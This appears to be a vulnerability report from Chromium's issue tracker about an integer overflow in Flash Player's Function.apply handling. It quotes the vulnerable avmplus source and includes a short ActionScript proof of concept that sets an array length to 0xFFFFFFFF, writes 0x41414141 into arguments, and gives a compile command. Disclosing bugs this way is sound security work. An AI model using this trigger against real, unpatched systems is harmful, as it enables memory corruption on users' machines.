[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837]

VULNERABILITY DETAILS
An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments.

VERSION
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
Operating System: Win7 x64 SP1

REPRODUCTION CASE

From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp

944 // Specialized to be called from Function.apply().
945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a)
946 {
947     int32_t argc = a->getLength();

...

966     // Tail call inhibited by local allocation/deallocation.
967     MMgc::GC::AllocaAutoPtr _atomv;
968     Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom));   //here if argc = 0xFFFFFFFF we get an integer overflow
969     atomv[0] = thisArg;
970     for (int32_t i=0 ; i < argc ; i++ )
971         atomv[i+1] = a->getUintProperty(i);
972     return env->coerceEnter(argc, atomv);
973 }


So the idea is to use the rest argument to get a working poc. For example:

    public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) {

        try {a0.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a1.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a2.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a3.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a4.writeUnsignedInt(0x41414141)}catch (e) {}

    }
    public function XApplyPoc() {
        var a:Array = new Array()

        a.length = 0xFFFFFFFF
        myFunc.apply(this, a)
    }

Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.
